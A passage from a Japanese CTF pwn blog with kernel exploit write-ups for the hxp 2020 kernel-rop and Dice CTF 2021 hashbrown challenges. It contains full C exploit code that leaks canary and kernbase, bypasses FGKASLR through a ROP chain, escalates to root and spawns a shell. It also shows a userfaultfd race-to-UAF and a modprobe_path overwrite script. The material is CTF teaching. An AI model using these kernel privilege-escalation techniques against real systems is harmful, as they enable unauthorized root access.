すると、iretqの直前には以下のようになって、ちゃんとNIRUGIRI()に帰れることがわかる。(因みに、なんでか上手くユーザランドに帰れなくて小一時間ほど時間を浪費してしまったが、結局_write()で書き込むバイト数が足りておらず、user_ss等を書き込めていなかったことが原因だった)

f:id:smallkirby:20210216224821p:plain

successful iretq

 

但し、まだNIRUGIRIをするには早すぎる。一回のkROPでできることは一つのleakだけだから、これを複数回繰り返してleakを行う。具体的にはleakするシンボルは、commit_credsprepare_kernel_credである。current_taskに関してはFGKASLRの影響を受けないため問題ない。

 

6: get ROOT

上の方法でcommit_creds()prepare_kernel_cred()をleakしたら、同様に neorop++ でFGKASLRに影響されないガジェットを探し、あとは全く同じ方法でcommit_creds(prepare_kernel_cred(0))をするだけである。最後の着地点はユーザランドのシェルを実行する関数にすれば良い。`

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/hackme"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define REP(N) for(int iiiiix=0;iiiiix!=N;++iiiiix)
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  printf("[!!!] NIRUGIRI!!!\n");
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
  printf("[+] save_state: cs:%lx ss:%lx sp:%lx rflags:%lx\n", user_cs, user_ss, user_sp, user_rflags);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

// hackme
int _write(int fd, char *buf, uint size){
  assert(fd > 0);
  int res = write(fd, buf, size);
  assert(res >= 0);
  return res;
}
int _read(int fd, char *buf, uint size){
  assert(fd > 0);
  int res = read(fd, buf, size);
  assert(res >= 0);
  return res;
}
// (END hackme)

#define CANARY_OFF 0x80
#define RBP_OFF 0x98
int fd;
ulong kernbase;
ulong commit_creds, prepare_kernel_cred, current_task;
ulong canary;
char rbuf[0x200];
char wbuf[0x200];

void level3(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  const ulong my_special_cred = ret;
  printf("[!] reached Level-3\n");
  printf("[!] my_special_cred: 0x%lx\n", my_special_cred);

  // into level4
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x006370; // pop rdi
  *c++ = my_special_cred;
  *c++ = commit_creds;
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &NIRUGIRI;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level3");
}

void level2(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  prepare_kernel_cred = (signed long)kernbase + (signed long)0xf8d4fc + (signed int)ret;
  printf("[!] reached Level-2\n");
  printf("[!] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);

  // into level3
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x006370; // pop rdi
  *c++ = 0;
  *c++ = prepare_kernel_cred;
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  printf("[!!!] 0x%lx\n", *(c-1));;
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level3;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level2");
}

void level1(void){
  ulong ret;
  asm(
      "movq %0, %%rax\n"
      : "=r"(ret)
  );
  commit_creds = (signed long)kernbase + (signed long)0xf87d90 + (signed int)ret;
  printf("[!] reached Level-1\n");
  printf("[!] commit_creds: 0x%lx\n", commit_creds);

  // into level2
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf8d4fc; // __ksymtab_prepare_kernel_cred
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level2;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("level1");
}

int main(int argc, char *argv[]) {
  printf("[.] NIRUGIRI @ %p\n", &NIRUGIRI);
  printf("[.] level1 @ %p\n", &level1);
  memset(wbuf, 'A', 0x200);
  memset(rbuf, 'B', 0x200);
  fd = open(DEV_PATH, O_RDWR);
  assert(fd > 0);

  // leak canary and kernbase
  _read(fd, rbuf, 0x1a0);
  canary = ((ulong*)rbuf)[0x10/8];
  printf("[+] canary: %lx\n", canary);
  kernbase = ((ulong*)rbuf)[38] - ((ulong)0xffffffffb080a157 - (ulong)0xffffffffb0800000);
  printf("[!] kernbase: 0x%lx\n", kernbase);

  // leak symbols from __ksymtab_xxx
  save_state();
  ulong *c = &wbuf[CANARY_OFF];
  memset(wbuf, 'A', 0x200);
  *c++ = canary;
  *c++ = '1'; // rbx
  *c++ = '2'; // r12
  *c++ = '3'; // rbp
  *c++ = kernbase + 0x4D11; // pop rax
  *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds
  *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp;
  *c++ = 'A'; // rbp
  *c++ = kernbase + 0x200f23; // go home(swapgs & iretq)
  for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none
    *c++ = 'A' + ix + 1;
  *c++ = &level1;
  *c++ = user_cs;
  *c++ = user_rflags;
  *c++ = user_sp;
  *c++ = user_ss;
  _write(fd, wbuf, 0x130);

  errExit("main");
  return 0;
}

/* gad go home
ffffffff81200f23:       59                      pop    rcx
ffffffff81200f24:       5a                      pop    rdx
ffffffff81200f25:       5e                      pop    rsi
ffffffff81200f26:       48 89 e7                mov    rdi,rsp
ffffffff81200f29:       65 48 8b 24 25 04 60    mov    rsp,QWORD PTR gs:0x6004
ffffffff81200f30:       00 00
ffffffff81200f32:       ff 77 30                push   QWORD PTR [rdi+0x30]
ffffffff81200f35:       ff 77 28                push   QWORD PTR [rdi+0x28]
ffffffff81200f38:       ff 77 20                push   QWORD PTR [rdi+0x20]
ffffffff81200f3b:       ff 77 18                push   QWORD PTR [rdi+0x18]
ffffffff81200f3e:       ff 77 10                push   QWORD PTR [rdi+0x10]
ffffffff81200f41:       ff 37                   push   QWORD PTR [rdi]
ffffffff81200f43:       50                      push   rax
ffffffff81200f44:       eb 43                   jmp    ffffffff81200f89 <_stext+0x200f89>
ffffffff81200f46:       0f 20 df                mov    rdi,cr3
ffffffff81200f49:       eb 34                   jmp    ffffffff81200f7f <_stext+0x200f7f>
*/

 

8: アウトロ

f:id:smallkirby:20210216224901p:plain

hxp{春が来たら朝に散歩したいですね}

 

FGKASLRをkROPでbypassする、為になる良い問題でした。

 

 

9: symbols without KASLR

symbols.txt
hackme_buf: 0xffffffffc0002440

信じられるものは、.bss/.dataだけ。アンパンマンと一緒だね。

 

 

10: 参考

1: author's writeup

https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 48.0】hashbrown - Dice CTF 2021 (kernel exploit)

keywords

kernel exploit / FGKASLR / slab / race condition / modprobe_path / shm_file_data / kUAF / shmem_vm_ops

 

 

1: イントロ

いつぞや開催された Dice CTF 2021 のkernel問題: hashbrown 。なんかパット見でSECCON20のkvdbを思い出して吐きそうになった(あの問題、かなりbrainfuckingでトラウマ...)。まぁ結果として相違点は、題材がハッシュマップを用いたデータ構造を使ってるっていうのと、dungling-pointerが生まれるということくらい(あれ、結構同じか?)。

先に言うと、凄くいい問題でした。自分にとって知らないこと(FGKASLRとか)を新しく知ることもできたし、既に知っていることを考えて使う練習もできた問題でした。

 

 

2: static

basic

basic.sh
~ $ cat /proc/version
Linux version 5.11.0-rc3 (professor_stallman@i_use_arch_btw) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU 1
~ $ lsmod
hashbrown 16384 0 - Live 0x0000000000000000 (OE)
$ modinfo ./hashbrown.ko
filename:       /home/wataru/Documents/ctf/dice2020/hashbrown/work/./hashbrown.ko
license:        GPL
description:    Here's a hashbrown for everyone!
author:         FizzBuzz101
depends:
retpoline:      Y
name:           hashbrown
vermagic:       5.11.0-rc3 SMP mod_unload modversions

exec qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel "bzImage" \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -monitor /dev/null \
    -initrd "initramfs.cpio" \
    -smp 2 \
    -smp cores=2 \
    -smp threads=1

SMEP有効・SMAP有効・KAISER有効・KASLR有効・ FGKASLR 有効・oops->panic・ダブルコアSMP

スラブには SLUB ではなく SLAB を利用していて、 CONFIG_FREELIST_RANDOMCONFIG_FREELIST_HARDENED 有効。

 

Module

モジュール hashbrownソースコードが配布されている。ソースコードの配布はいつだって正義。配布しない場合はその理由を原稿用紙12枚分書いて一緒に配布する必要がある。

キャラクタデバイス /dev/hashbrown を登録し、 ioctl() のみを実装している。その挙動は典型的なhashmapの実装であり、author's writeupによるとJDKの実装を取ってきているらしい。ioctl()の概観は以下のとおり。

hashbrown_distributed.c
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
    long result;
    request_t request;
    uint32_t idx;

    if (cmd == ADD_KEY)
    {
        if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
        {
            mutex_lock(&resize_lock);
            result = resize((request_t *)arg);
            mutex_unlock(&resize_lock);
            return result;
        }
    }

    mutex_lock(&operations_lock);
    if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))
    {
        result = INVALID;
    }
    else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
    {
        result = MAXED;
    }
    else
    {
        idx = get_hash_idx(request.key, hashmap.size);
        switch(cmd)
        {
            case ADD_KEY:
                result = add_key(idx, request.key, request.size, request.src);
                break;
            case DELETE_KEY:
                result = delete_key(idx, request.key);
                break;
            case UPDATE_VALUE:
                result = update_value(idx, request.key, request.size, request.src);
                break;
            case DELETE_VALUE:
                result = delete_value(idx, request.key);
                break;
            case GET_VALUE:
                result = get_value(idx, request.key, request.size, request.dest);
                break;
            default:
                result = INVALID;
                break;
        }
    }
    mutex_unlock(&operations_lock);
    return result;
}

データはstruct hashmap_t型の構造体で管理され、各エントリはstruct hash_entry型で表現される。

structs.c
typedef struct
{
    uint32_t size;
    uint32_t threshold;
    uint32_t entry_count;
    hash_entry **buckets;
}hashmap_t;

bucketsの大きさはsizeだけあり、キーを新たに追加する際に現在存在しているキーの数がthresholdを上回っているとresize()が呼び出され、新たにbucketskzalloc()で確保される。古いbucketsからデータをすべてコピーした後、古いbucketskfree()される。このthresholdは、 bucketsが保持可能な最大要素数 x 3/4 で計算される。各bucketsへのアクセスにはkeyの値から計算したインデックスを用いて行われ、このインデックスは容易に衝突するためhash_entryはリスト構造で要素を保持している。

 

 

3: FGKASLR

Finer/Function Granular KASLR 。詳しくはLWN参照。カーネルイメージELFに関数毎にセクションが作られ、それらがカーネルのロード時にランダマイズされて配置されるようになる。メインラインには載っていない。これによって、あるシンボルをleakすることでベースとなるアドレスを計算することが難しくなる。

ex.sh
       0000000000000094  0000000000000000  AX       0     0     16
  [3507] .text.revert_cred PROGBITS         ffffffff8148e2b0  0068e2b0
       000000000000002f  0000000000000000  AX       0     0     16
  [3508] .text.abort_creds PROGBITS         ffffffff8148e2e0  0068e2e0
       000000000000001d  0000000000000000  AX       0     0     16
  [3509] .text.prepare_cre PROGBITS         ffffffff8148e300  0068e300
       0000000000000234  0000000000000000  AX       0     0     16
  [3510] .text.commit_cred PROGBITS         ffffffff8148e540  0068e540
       000000000000019c  0000000000000000  AX       0     0     16
  [3511] .text.prepare_ker PROGBITS         ffffffff8148e6e0  0068e6e0
       00000000000001ba  0000000000000000  AX       0     0     16
  [3512] .text.exit_creds  PROGBITS         ffffffff8148e8a0  0068e8a0
       0000000000000050  0000000000000000  AX       0     0     16
  [3513] .text.cred_alloc_ PROGBITS         ffffffff8148e8f0  0068e8f0

なんか、こうまでするのって、凄いと思うと同時に、ちょっと引く...。

 

朗報として、従来の .text セクションに入っている一部の関数及びC以外で記述された関数はランダマイズの対象外になる。また、データセクションにあるシンボルもランダマイズされないため、リークにはこういったシンボルを使う。詳しくは後述する。

 

 

4: Vuln: race to kUAF

モジュールは結構ちゃんとした実装になっている。だが、上のコード引用からも分かるとおり、ミューテックスを2つ利用していることが明らかに不自然。しかも、 basic に書いたようにマルチコアで動いているため race condition であろうことが推測できる。そして、大抵の場合raceはCTFにおいてcopy_from_user()を呼び出すパスで起きることが多い(かなりメタ読みだが、そうするとuffdが使えるため)。

それを踏まえてresize()を見てみると、以下の順序でbucketsのresizeを行っていることが分かる。

resize.txt
1. 新しいbucketsをkzalloc()
2. 古いbucketsの各要素を巡回し、各要素を新たにkzalloc()してコピー
3. 新たに追加する要素をkzalloc()して追加。古い要素が持ってるデータへのポインタを新しい要素にコピー。
4. 古いbucketsの要素を全てkfree()

ここで、手順3において新たに追加する要素の追加にcopy_from_user()が使われている。よって、 userfaultfd によって一旦処理を3で停止させる。その間に、 DELETE_VALUE によって値を削除する。すると、実際にその値はkfree()されるものの、ポインタがNULLクリアされるのは古い方のbucketsのみであり、新しい方のbucketsには削除されたポインタが残存することになる( dungling-pointer )。

hashbrown_distributed.c
static long delete_value(uint32_t idx, uint32_t key)
{
    hash_entry *temp;
    if (!hashmap.buckets[idx])
    {
        return NOT_EXISTS;
    }
    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
    {
        if (temp->key == key)
        {
            if (!temp->value || !temp->size)
            {
                return NOT_EXISTS;
            }
            kfree(temp->value);
            temp->value = NULL;
            temp->size = 0;
            return 0;
        }
    }
    return NOT_EXISTS;
}

上のhashmapはuffdによってresize()処理が停止されている間は古いbucketsを保持することになるから、UAFの成立である。

 

 

5: leak and bypass FGKASLR via shm_file_data

さて、上述したUAFを用いてまずはkernbaseのleakをする。

 

なんでseq_operationsじゃだめなのか

参考4において、 kmalloc-32 で利用できる構造体にshm_file_dataがある。これは以下のように定義される構造体である。

ipc/shm.c
struct shm_file_data {
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};

メンバの内、nsvm_opsがデータセクションのアドレスを指している。また、fileはヒープアドレスを指している。共有メモリをallocすることで任意のタイミングで確保・ストックすることができ、kernbaseもkernheapもleakできる優れものである。

 

とりわけ、vm_opsshmem_vm_opsを指している。shmem_vm_opsは以下で定義されるstruct vm_operations_struct型の静的変数である。

mm/shmem.c
static const struct vm_operations_struct shmem_vm_ops = {
	.fault		= shmem_fault,
	.map_pages	= filemap_map_pages,
#ifdef CONFIG_NUMA
	.set_policy     = shmem_set_policy,
	.get_policy     = shmem_get_policy,
#endif
};

shmatの呼び出しによって呼ばれるshm_mmap()の内部で以下のように代入される。

ipc/shm.c
static int shm_mmap(struct file *file, struct vm_area_struct *vma)
{
	struct shm_file_data *sfd = shm_file_data(file);
    (snipped...)
	sfd->vm_ops = vma->vm_ops;
#ifdef CONFIG_MMU
	WARN_ON(!sfd->vm_ops->fault);
#endif
	vma->vm_ops = &shm_vm_ops;
	return 0;
}

参考までに、以下が上のコードまでのbacktrace。(v5.9.11)

bt.sh
#0  shm_mmap (file=<optimized out>, vma=0xffff88800e4710c0) at ipc/shm.c:508
#1  0xffffffff8118c5c6 in call_mmap (vma=<optimized out>, file=<optimized out>) at ./include/linux/fs.h:1887
#2  mmap_region (file=<optimized out>, addr=140174097555456, len=<optimized out>, vm_flags=<optimized out>, pgoff=<optimized out>, uf=<optimized out>) at mm/mmap.c:1773
#3  0xffffffff8118cb9e in do_mmap (file=0xffff88800e42a600, addr=<optimized out>, len=4096, prot=2, flags=1, pgoff=<optimized out>, populate=0xffffc90000157ee8, uf=0x0) at mm/mmap.c:1545
#4  0xffffffff81325012 in do_shmat (shmid=1, shmaddr=<optimized out>, shmflg=0, raddr=<optimized out>, shmlba=<optimized out>) at ipc/shm.c:1559
#5  0xffffffff813250be in __do_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1594
#6  __se_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1589
#7  __x64_sys_shmat (regs=<optimized out>) at ipc/shm.c:1589
#8  0xffffffff81a3feb3 in do_syscall_64 (nr=<optimized out>, regs=0xffffc90000157f58) at arch/x86/entry/common.c:46

 

kmalloc-32 で使える構造体であれば、seq_operationsもあると書いてあるが、これらのポインタはFGKASLRの影響を受ける。実際、single_start()等の関数のためにセクションが設けられていることが分かる。

readelf.txt
  [11877] .text.single_star PROGBITS         ffffffff81669b30  00869b30
       000000000000000f  0000000000000000  AX       0     0     16
  [11878] .text.single_next PROGBITS         ffffffff81669b40  00869b40
       000000000000000c  0000000000000000  AX       0     0     16
  [11879] .text.single_stop PROGBITS         ffffffff81669b50  00869b50
       0000000000000006  0000000000000000  AX       0     0     16

よって、 kernbase のleakにはこういった関数ポインタではなく、データ領域を指しているshm_file_data等を使うことが望ましい。

 

leak

といわけで、uffdを使ってraceを安定化させつつshm_file_dataでkernbaseをリークしていく。

まずはbucketsが拡張される直前までkeyを追加していく。最初のthreshold0x10 x 3/4 = 0xc 回であるから、その分だけadd_key()。それが終わったらuffdを設定したページからさらにadd_key()を行い、フォルトの発生中にdelete_value()して要素を解放したらUAFの完成。以下のようにleakができる。

f:id:smallkirby:20210215214126p:plain

leak shmem_vm_ops

 

因みに

uffdハンドラの中でmmap()するのって、rootじゃないとダメなんだっけ?以下のコードはrootでやると上手く動いたけど、rootじゃないとmmap()で-1が返ってきちゃった。後で調べる。

fail.c
    void *srcpage = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    printf("[+] mmapped @ %p\n", srcpage);
    uffdio_copy.src = (ulong)srcpage;
    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
    uffdio_copy.len = PAGE;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");

【追記 20200215】これ、単純にアドレス0x0に対してMAP_FIXEDにしてるからだわ。

 

 

6: AAW

principle

さて、ここまででkernbaseのleakができている。次はAAWが欲しい。あと50兆円欲しい。

本モジュールには、既に存在しているhash_entryの値を更新するupdate_valueという操作がある。

update_value.c
static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src)
{
    hash_entry *temp;
    char *temp_data;

    if (size < 1 || size > MAX_VALUE_SIZE)
    {
        return INVALID;
    }
    if (!hashmap.buckets[idx])
    {
        return NOT_EXISTS;
    }

    for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
    {
        if (temp->key == key)
        {
            if (temp->size != size)
            {
                if (temp->value)
                {
                    kfree(temp->value);
                }
                temp->value = NULL;
                temp->size = 0;
                temp_data = kzalloc(size, GFP_KERNEL);
                if (!temp_data || copy_from_user(temp_data, src, size))
                {
                    return INVALID;
                }
                temp->size = size;
                temp->value = temp_data;
            }
            else
            {
                if (copy_from_user(temp->value, src, size))
                {
                    return INVALID;
                }
            }
            return 0;
        }
    }
    return NOT_EXISTS;
}

この中のif (copy_from_user(temp->value, src, size))の部分で、仮にtemp->valueの保持するアドレスが不正に書き換えられるとするとAAWになる。このtempstruct hash_entry型であり、このサイズは kmalloc-32 である。よって、先程までと全く同じ方法でkUAFを起こし、tempの中身を自由に操作することができる。

因みに、leakしたあとすぐに再び threshold 分だけadd_key()してresize()を呼ばせて、kUAFを起こし、そのあとすぐにadd_key()して目的のobjectを手に入れようとしたが手に入らなくて"???"になった。だが、よくよく考えたらdelete_value()でkUAFを引き起こした後に、古いbucketsの解放が起こるためスラブにはどんどんオブジェクトが蓄積していってしまう。よって、その状態で目的のkUAFされたオブジェクトを手に入ろうとしてもすぐには手に入らない。解決方法は単純で、削除したはずの要素からget_value()し続けて、それが今まで入っていた値と異なる瞬間が来たら、そのobjectが新たにhash_entryとしてallocされたことになる。

find-my-object.c
  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
    memset(buf, 'A', 0x20);
    add_key(hashfd, ix, 0x20, buf);
    get_value(hashfd, targetkey, 0x20, buf);
    if(((uint*)buf)[0] != 0x41414141){
      printf("[!] GOT kUAFed object!\n");;
      printf("[!] %lx\n", ((ulong*)buf)[0]);
      printf("[!] %lx\n", ((ulong*)buf)[1]);
      printf("[!] %lx\n", ((ulong*)buf)[2]);
      printf("[!] %lx\n", ((ulong*)buf)[3]);
      break;
    }
  }

 

 

overwrite modprobe_path

今回はSMAP/SMEP有効だから、ユーザランドのシェルコードを実行させるということはできない。かといってROPを組もうにも、FGKASLRが有効であるからガジェットの位置が定まらない。こんなときは、定番の modprobe_path の書き換えを行う。modprobe_pathはデータセクションにあるためFGKASLRの影響を受ける心配もない。

以下の感じで、ぷいぷいもるかー。

modprobe_path_nirugiri.c
  // trigger modprobe_path
  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
  system("chmod +x /home/ctf/nirugiri.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
  system("chmod +x /home/ctf/puipui-molcar");
  system("/home/ctf/puipui-molcar");

  // NIRUGIRI it
  system("cat /home/ctf/flag.txt");

 

 

 

7: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>


// commands
#define DEV_PATH "/dev/hashbrown"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

// consts
#define SIZE_ARR_START 0x10

// globals
#define STATE_LEAK 0
#define STATE_UAF 1
#define STATE_INVALID 99
void *uffdaddr = NULL;
pthread_t uffdthr; // ID of thread that handles page fault and continue exploit in another kernel thread
int hashfd = -1;
uint STATUS = STATE_LEAK;
uint targetkey = SIZE_ARR_START * 3 / 4 - 1;
uint limit = SIZE_ARR_START;
uint threshold = SIZE_ARR_START * 3/ 4;
char *faultsrc = NULL;
// (END globals)

/*** hashbrown ****/
// commands
#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b
// returns
#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

// structs
typedef struct{
    uint32_t key;
    uint32_t size;
    char *src;
    char *dest;
}request_t;
struct hash_entry{
    uint32_t key;
    uint32_t size;
    char *value;
    struct hash_entry *next;
};
typedef struct
{
    uint32_t size;
    uint32_t threshold;
    uint32_t entry_count;
    struct hash_entry **buckets;
}hashmap_t;
uint get_hash_idx(uint key, uint size)
{
    uint hash;
    key ^= (key >> 20) ^ (key >> 12);
    hash = key ^ (key >> 7) ^ (key >> 4);
    return hash & (size - 1);
}

// wrappers
void add_key(int fd, uint key, uint size, char *data){
